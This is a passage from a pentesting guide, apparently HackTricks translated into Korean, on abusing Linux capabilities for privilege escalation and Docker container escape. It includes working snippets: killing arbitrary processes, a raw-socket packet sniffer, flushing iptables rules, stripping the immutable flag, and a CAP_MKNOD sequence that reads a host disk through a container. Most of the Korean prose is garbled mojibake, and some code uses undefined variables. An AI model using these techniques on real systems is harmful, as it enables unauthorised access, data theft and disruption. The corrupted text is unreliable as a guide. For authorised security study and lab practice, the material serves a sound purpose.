Ʞ볞ì ìŒë¡ CAP_SETFCAP ê¶íì Dockerì 컚í ìŽë ëŽ íë¡ìžì€ì ë¶ì¬ë©ëë€. ìŽë¥Œ íìžíë €ë©Ž ë€ì곌 ê°ì ìì ì ìíí ì ììµëë€:
cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
ìŽ êž°ë¥ì ìŽì§ íìŒì ë€ë¥ž 몚ë êž°ë¥ì ë¶ì¬í ì ìê² íŽì€ëë€, ë°ëŒì ìŽ íìŽì§ì ìžêžë ë€ë¥ž êž°ë¥ íì¶ì ì
ì©íì¬ ì»ší
ìŽëìì íì¶í ì ìë€ê³ ìê°í ì ììµëë€.
ê·žë¬ë ì륌 ë€ìŽ gdb ìŽì§ íìŒì CAP_SYS_ADMIN ë° CAP_SYS_PTRACE êž°ë¥ì ë¶ì¬íë €ê³ í멎, ë¶ì¬í ìë ìì§ë§ ìŽì§ íìŒì ìŽíì ì€íí ì ìê² ë©ëë€:
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
From the docs: Permitted: This is a limiting superset for the effective capabilities that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheriâtable set by a thread that does not have the CAP_SETPCAP capability in its effective set.
Permitted capabilitiesë ì¬ì© ê°ë¥í ê²ë€ì ì ííë ê²ì²ëŒ 볎ì
ëë€.
ê·žë¬ë Dockerë Ʞ볞ì ìŒë¡ CAP_SETPCAP륌 ë¶ì¬íë¯ë¡, ìì ê°ë¥í ê²ë€ ììì ìë¡ìŽ ë¥ë ¥ì ì€ì í ì ììì§ë 몚ëŠ
ëë€.
ê·žë¬ë ìŽ ë¥ë ¥ì 묞ìììë: CAP_SETPCAP : [âŠ] ížì¶ ì€ë ëì ê²œê³ ì§í©ìì ìì ê°ë¥í ì§í©ì ìŽë€ ë¥ë ¥ë ì¶ê°í©ëë€.
ì°ëЬë ê²œê³ ì§í©ìì ìì ê°ë¥í ì§í©ìŒë¡ë§ ì¶ê°í ì ìë ê²ì²ëŒ 볎ì
ëë€. ìŽë CAP_SYS_ADMIN ëë CAP_SYS_PTRACEì ê°ì ìë¡ìŽ ë¥ë ¥ì ìì ì§í©ì ë£ìŽ ê¶íì ìì¹ìí¬ ì ììì ì믞í©ëë€.
CAP_SYS_RAWIO
CAP_SYS_RAWIOë /dev/mem, /dev/kmem ëë /proc/kcoreì ëí ì ê·Œ, mmap_min_addr ìì , ioperm(2) ë° iopl(2) ìì€í
ížì¶ ì ê·Œ, ë€ìí ëì€í¬ ëª
ë ¹ì í¬íší ì¬ë¬ 믌ê°í ìì
ì ì ê³µí©ëë€. FIBMAP ioctl(2)ë ìŽ ë¥ë ¥ì íµíŽ íì±íëë©°, ìŽë 곌거 묞ì 륌 ìŒìŒíš ì ìŽ ììµëë€. ë§€ëŽìŒ íìŽì§ì ë°ë¥Žë©Ž, ìŽë 볎ì ìê° ë€ë¥ž ì¥ì¹ìì ì¥ì¹ë³ ìì
ì ì€ëª
ì ìŒë¡ ìíí ì ìëë¡ íì©í©ëë€.
ìŽë ê¶í ìì¹ ë° Docker íì¶ì ì ì©í ì ììµëë€.
CAP_KILL
ìŽë 몚ë íë¡ìžì€ë¥Œ ì¢ ë£í ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
python ë°ìŽëëŠ¬ê° ìŽ ë¥ë ¥ì ê°ì§ê³ ìë€ê³ ê°ì íŽ ë³Žê² ìµëë€. ë§ìœ ìŽë€ ìë¹ì€ë ììŒ êµ¬ì± (ëë ìë¹ì€ì êŽë šë êµ¬ì± íìŒ)ì ìì í ì ìë€ë©Ž, ìŽë¥Œ ë°±ëìŽë¡ ë§ë€ê³ , ê·ž ìë¹ì€ì êŽë šë íë¡ìžì€ë¥Œ ì¢
ë£í í ìë¡ìŽ êµ¬ì± íìŒìŽ ë¹ì ì ë°±ëìŽë¡ ì€íëꞰ륌 êž°ë€ëŠŽ ì ììµëë€.
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
Privesc with kill
ë§ìœ ë¹ì ìŽ kill ê¶íì ê°ì§ê³ ìê³ rootë¡ ì€í ì€ìž node íë¡ê·žëš(ëë ë€ë¥ž ì¬ì©ìë¡ ì€í ì€ìž íë¡ê·žëš)ìŽ ìë€ë©Ž, ìë§ë SIGUSR1 ì ížë¥Œ 볎ëŽì node ëë²ê±°ë¥Œ ìŽ ì ìì ê²ì ëë€. ê·žê³³ìì ì°ê²°í ì ììµëë€.
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
Node inspector/CEF debug abuse
CAP_NET_BIND_SERVICE
ìŽê²ì 몚ë í¬íž(í¹ê¶ í¬íž í¬íš)ìì ìì í ì ììì ì믞í©ëë€. ìŽ ê¶íìŒë¡ ì§ì ì ìŒë¡ ê¶í ìì¹ì í ìë ììµëë€.
ë°ìŽë늬 ìì
**python**ìŽ ìŽ ê¶íì ê°ì§ê³ ìë€ë©Ž, 몚ë í¬ížìì ìì í ì ììŒë©°, ë€ë¥ž í¬ížë¡ë¶í° ì°ê²°í ìë ììµëë€(ìŒë¶ ìë¹ì€ë í¹ì ê¶í í¬ížììì ì°ê²°ì ì구í©ëë€).
import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)
CAP_NET_RAW
CAP_NET_RAW ê¶íì íë¡ìžì€ê° RAW ë° PACKET ììŒì ìì±í ì ìëë¡ íì¬ ììì ë€ížìí¬ íší·ì ìì±íê³ ì ì¡í ì ìê² í©ëë€. ìŽë íší· ì€íží, ížëíœ ì£Œì ë° ë€ížìí¬ ì ê·Œ ì ìŽ ì°í륌 í¬íší 볎ì ìíì ìŽëí ì ììµëë€. ì ìì ìž íììë ìŽë¥Œ ìŽì©íŽ ì»ší ìŽë ëŒì°í ì ê°ìíê±°ë ížì€íž ë€ížìí¬ ë³Žìì ìíí ì ììŒë©°, í¹í ì ì í ë°©í벜 볎ížê° ìì ê²œì° ëì± ê·žë ìµëë€. ëí, CAP_NET_RAWë RAW ICMP ìì²ì íµí ping곌 ê°ì ìì ì ì§ìíêž° ìíŽ í¹ê¶ 컚í ìŽëì íìì ì ëë€.
ìŽë ížëíœì ì€ëíí ì ììì ì믞í©ëë€. ìŽ ê¶íìŒë¡ ì§ì ì ìŒë¡ ê¶íì ìì¹ìí¬ ìë ììµëë€.
ë°ìŽë늬 ìì
ë°ìŽë늬 **tcpdump**ê° ìŽ ê¶íì ê°ì§ê³ ìë€ë©Ž, ë€ížìí¬ ì 볎륌 캡ì²íë ë° ì¬ì©í ì ììµëë€.
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
íê²œìŽ ìŽ êž°ë¥ì ì ê³µíë ê²œì° **tcpdump**륌 ì¬ì©íì¬ ížëíœì ì€ëíí ìë ììµëë€.
ìŽì§ì 2ì ì
ë€ì ìë âloâ (localhost) ìží°íìŽì€ì ížëíœì ê°ë¡ì±ë ë° ì ì©í ì ìë python2 ìœëì
ëë€. ìŽ ìœëë https://attackdefense.pentesteracademy.com/ìì âêž°ìŽ: CAP-NET_BIND + NET_RAWâ ì€íì€ì ê²ì
ëë€.
import socket
import struct
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))
flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])
elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]
if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1
CAP_NET_ADMIN + CAP_NET_RAW
CAP_NET_ADMIN ê¶íì ìì ììê² ë€ížìí¬ êµ¬ì± ë³ê²œì ê¶íì ë¶ì¬í©ëë€. ì¬êž°ìë ë°©í벜 ì€ì , ëŒì°í í ìŽëž, ììŒ ê¶í ë° ë žì¶ë ë€ížìí¬ ë€ìì€íìŽì€ ëŽì ë€ížìí¬ ìží°íìŽì€ ì€ì ìŽ í¬íšë©ëë€. ëí ë€ížìí¬ ìží°íìŽì€ìì promiscuous mode륌 íì±ííì¬ ë€ìì€íìŽì€ ê°ì íší· ì€ëíì íì©í©ëë€.
ìŽì§ íìŒ ìì
python binaryê° ìŽë¬í ê¶íì ê°ì§ê³ ìë€ê³ ê°ì íŽ ë³Žê² ìµëë€.
#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')
CAP_LINUX_IMMUTABLE
ìŽê²ì inode ìì±ì ìì í ì ììì ì믞í©ëë€. ìŽ ê¶íìŒë¡ ì§ì ì ìŒë¡ ê¶íì ìì¹ìí¬ ìë ììµëë€.
ë°ìŽë늬 ìì
íìŒìŽ ë¶ë³ìŽë©° pythonìŽ ìŽ ê¶íì ê°ì§ê³ ìë 겜ì°, ë¶ë³ ìì±ì ì ê±°íê³ íìŒì ìì ê°ë¥íê² ë§ë€ ì ììµëë€:
#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct
FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
Tip
ìŒë°ì ìŒë¡ ìŽ ë¶ë³ ìì±ì ë€ìì ì¬ì©íì¬ ì€ì ë° ì ê±°ë©ëë€:
sudo chattr +i file.txt sudo chattr -i file.txt
CAP_SYS_CHROOT
CAP_SYS_CHROOTë chroot(2) ìì€í
ížì¶ì ì€íì ê°ë¥íê² íë©°, ìŽë ìë €ì§ ì·šìœì ì íµíŽ chroot(2) í겜ìì íì¶í ì ìê² í ì ììµëë€:
CAP_SYS_BOOT
CAP_SYS_BOOTë í¹ì íëìšìŽ íë«íŒì ë§ì¶ LINUX_REBOOT_CMD_RESTART2ì ê°ì í¹ì ëª
ë ¹ì í¬íšíì¬ ìì€í
ì¬ììì ìí reboot(2) ìì€í
ížì¶ì ì€íì íì©í ë¿ë§ ìëëŒ, ìë¡ìŽ ëë ìëª
ë í¬ëì 컀ëì ê°ê° ë¡ëíêž° ìíŽ kexec_load(2) ë° Linux 3.17 ìŽíë¶í°ë kexec_file_load(2)ì ì¬ì©ì ê°ë¥íê² í©ëë€.
CAP_SYSLOG
CAP_SYSLOGë Linux 2.6.37ìì ë ëì CAP_SYS_ADMINìì ë¶ëЬëìŽ syslog(2) ížì¶ì ì¬ì©í ì ìë ë¥ë ¥ì ë¶ì¬í©ëë€. ìŽ êž°ë¥ì kptr_restrict ì€ì ìŽ 1ìŒ ë /proc ë° ì ì¬í ìží°íìŽì€ë¥Œ íµíŽ ì»€ë 죌ì륌 볌 ì ìê² í©ëë€. Linux 2.6.39 ìŽíë¡ kptr_restrictì Ʞ볞ê°ì 0ìŒë¡, 컀ë 죌ìê° ë
žì¶ëì§ë§, ë§ì ë°°í¬íì 볎ììì ìŽì ë¡ ìŽë¥Œ 1(죌ì륌 uid 0ì ì ìžíê³ ìšê¹) ëë 2(íì 죌ì ìšê¹)ë¡ ì€ì í©ëë€.
ëí, CAP_SYSLOGë dmesg_restrictê° 1ë¡ ì€ì ë ê²œì° dmesg ì¶ë ¥ì ì ê·Œí ì ìê² í©ëë€. ìŽë¬í ë³íìë ë¶êµ¬íê³ , CAP_SYS_ADMINì ìì¬ì ì ë¡ë¡ ìžíŽ syslog ìì
ì ìíí ì ìë ë¥ë ¥ì ì ì§í©ëë€.
CAP_MKNOD
CAP_MKNODë ìŒë° íìŒ, FIFO(ìŽëŠìŽ ìë íìŽí) ëë UNIX ëë©ìž ììŒì ìì±íë ê²ì ëìŽ mknod ìì€í
ížì¶ì êž°ë¥ì íì¥í©ëë€. ìŽë í¹ë³í íìŒì ìì±ì íì©íë©°, ì¬êž°ìë ë€ììŽ í¬íšë©ëë€:
- S_IFCHR: í°ë¯žë곌 ê°ì ì¥ì¹ìž 묞ì í¹ì íìŒ.
- S_IFBLK: ëì€í¬ì ê°ì ì¥ì¹ìž ëžë¡ í¹ì íìŒ.
ìŽ êž°ë¥ì ì¥ì¹ íìŒì ìì±í ì ìë ë¥ë ¥ìŽ íìí íë¡ìžì€ì íìì ìŽë©°, 묞ì ëë ëžë¡ ì¥ì¹ë¥Œ íµíŽ ì§ì íëìšìŽì ìížìì©ì ìŽì§í©ëë€.
ìŽë Ʞ볞 docker êž°ë¥ì ëë€ (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).
ìŽ êž°ë¥ì ë€ì 조걎ìì ížì€ížìì ê¶í ìì¹(ì 첎 ëì€í¬ ìœêž°)ì ìíí ì ìê² í©ëë€:
- ížì€ížì ëí ìŽêž° ì ê·Œ ê¶íì ê°ì§ (ë¹í¹ê¶).
- 컚í
ìŽëì ëí ìŽêž° ì ê·Œ ê¶íì ê°ì§ (í¹ê¶ (EUID 0) ë° ì íší
CAP_MKNOD). - ížì€ížì 컚í ìŽëë ëìŒí ì¬ì©ì ë€ìì€íìŽì€ë¥Œ ê³µì íŽìŒ í©ëë€.
컚í ìŽëìì ëžë¡ ì¥ì¹ë¥Œ ìì±íê³ ì ê·Œíë ëšê³:
- ížì€ížìì íì€ ì¬ì©ìë¡:
idë¡ íì¬ ì¬ì©ì ID륌 íìží©ëë€, ì:uid=1000(standarduser).- ëì ì¥ì¹ë¥Œ ìë³í©ëë€, ì:
/dev/sdb.
- 컚í
ìŽë ëŽìì
rootë¡:
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
- ížì€ížë¡ ëìê°êž°:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb
ìŽ ì ê·Œ ë°©ìì íì€ ì¬ì©ìê° ì»ší
ìŽë륌 íµíŽ /dev/sdbì ì ê·Œíê³ ì ì¬ì ìŒë¡ ë°ìŽí°ë¥Œ ìœì ì ìëë¡ íì¬ ê³µì ì¬ì©ì ë€ìì€íìŽì€ì ì¥ì¹ì ì€ì ë ê¶íì ì
ì©í©ëë€.
CAP_SETPCAP
CAP_SETPCAPë íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ë³ê²œí ì ìëë¡ íì¬, ì íší, ìì ê°ë¥í ë° íì©ë ì§í©ìì ë¥ë ¥ì ì¶ê°íê±°ë ì ê±°í ì ìê² í©ëë€. ê·žë¬ë íë¡ìžì€ë ìì ì íì©ë ì§í©ì ìë ë¥ë ¥ë§ ìì í ì ììŒë¯ë¡, ë€ë¥ž íë¡ìžì€ì ê¶íì ìì ì ê¶í ìŽììŒë¡ ìì¹ìí¬ ì ììµëë€. ìµê·Œ 컀ë ì
ë°ìŽížë ìŽë¬í ê·ì¹ì ê°ííì¬ CAP_SETPCAPê° ìì ì íì©ë ì§í©ìŽë ììì íì©ë ì§í© ëŽììë§ ë¥ë ¥ì ì€ìŒ ì ìëë¡ ì ííìµëë€. ìŽë 볎ì ìíì ìííêž° ìí ê²ì
ëë€. ì¬ì©íë €ë©Ž ì íší ì§í©ì CAP_SETPCAPê° ììŽìŒ íê³ , ìì í ëì ë¥ë ¥ìŽ íì©ë ì§í©ì ììŽìŒ íë©°, capset()ì ì¬ì©íì¬ ìì í©ëë€. ìŽë CAP_SETPCAPì íµì¬ êž°ë¥ê³Œ ì í ì¬íì ììœíë©°, ê¶í êŽëЬ ë° ë³Žì ê°íììì ìí ì ê°ì¡°í©ëë€.
**CAP_SETPCAP**ë íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ìì í ì ìëë¡ íë 늬ë
ì€ ë¥ë ¥ì
ëë€. ìŽë ë€ë¥ž íë¡ìžì€ì ì íší, ìì ê°ë¥í ë° íì©ë ë¥ë ¥ ì§í©ìì ë¥ë ¥ì ì¶ê°íê±°ë ì ê±°í ì ìë ë¥ë ¥ì ë¶ì¬í©ëë€. ê·žë¬ë ìŽ ë¥ë ¥ì ì¬ì©íë ë°ìë í¹ì ì íìŽ ììµëë€.
CAP_SETPCAPê° ìë íë¡ìžì€ë ìì ì íì©ë ë¥ë ¥ ì§í©ì ìë ë¥ë ¥ë§ ë¶ì¬íê±°ë ì ê±°í ì ììµëë€. ìŠ, íë¡ìžì€ê° ìì ìŽ ê°ì§ê³ ìì§ ìì ë¥ë ¥ì ë€ë¥ž íë¡ìžì€ì ë¶ì¬í ì ììµëë€. ìŽ ì íì íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ê¶íì ìì ì ê¶í ìì€ ìŽììŒë¡ ìì¹ìí€ë ê²ì ë°©ì§í©ëë€.
ê²ë€ê°, ìµê·Œ 컀ë ë²ì ììë CAP_SETPCAP ë¥ë ¥ìŽ ëì± ì íëììµëë€. ìŽì íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ììë¡ ìì í ì ììµëë€. ëì , ìì ì íì©ë ë¥ë ¥ ì§í©ìŽë ììì íì©ë ë¥ë ¥ ì§í©ìì ë¥ë ¥ì ì€ìŽë ê²ë§ íì©ë©ëë€. ìŽ ë³ê²œì ë¥ë ¥ê³Œ êŽë šë ì ì¬ì ìž ë³Žì ìíì ì€ìŽêž° ìíŽ ëì
ëììµëë€.
CAP_SETPCAP륌 íšê³Œì ìŒë¡ ì¬ì©íë €ë©Ž, ì íší ë¥ë ¥ ì§í©ì íŽë¹ ë¥ë ¥ìŽ ììŽìŒ íê³ , ëì ë¥ë ¥ìŽ íì©ë ë¥ë ¥ ì§í©ì ììŽìŒ í©ëë€. ê·žë° ë€ì capset() ìì€í
ížì¶ì ì¬ì©íì¬ ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ìì í ì ììµëë€.
ììœíì멎, CAP_SETPCAPë íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ìì í ì ìëë¡ íì§ë§, ìì ìŽ ê°ì§ê³ ìì§ ìì ë¥ë ¥ì ë¶ì¬í ìë ììµëë€. ëí 볎ì 묞ì ë¡ ìžíŽ ìµê·Œ 컀ë ë²ì ììë ìì ì íì©ë ë¥ë ¥ ì§í©ìŽë ììì íì©ë ë¥ë ¥ ì§í©ìì ë¥ë ¥ì ì€ìŽë ê²ë§ íì©íëë¡ êž°ë¥ìŽ ì íëììµëë€.
References
ìŽ ìì ì ëë¶ë¶ì https://attackdefense.pentesteracademy.com/ ì ìŒë¶ ì€íì€ìì ê°ì žìš ê²ì ëë€. ë°ëŒì ìŽ privesc êž°ì ì ì°ìµíê³ ì¶ë€ë©Ž ìŽ ì€íì€ì ì¶ì²í©ëë€.
êž°í ì°žê³ ìë£:
- https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux
- https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.
- https://linux-audit.com/linux-capabilities-101/
- https://www.linuxjournal.com/article/5737
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module
- https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot
â
Tip
AWS íŽí¹ ë°°ì°êž° ë° ì°ìµíêž°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP íŽí¹ ë°°ì°êž° ë° ì°ìµíêž°:HackTricks Training GCP Red Team Expert (GRTE)
Azure íŽí¹ ë°°ì°êž° ë° ì°ìµíêž°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ì§ìíêž°
- 구ë ê³í íìžíêž°!
- **ð¬ ëì€ìœë 귞룹 ëë í ë ê·žëš ê·žë£¹ì ì°žì¬íê±°ë ížìí° ðŠ @hacktricks_live륌 íë¡ì°íìžì.
- HackTricks ë° HackTricks Cloud ê¹íëž ëŠ¬í¬ì§í 늬ì PRì ì ì¶íì¬ íŽí¹ ížëŠì ê³µì íìžì.


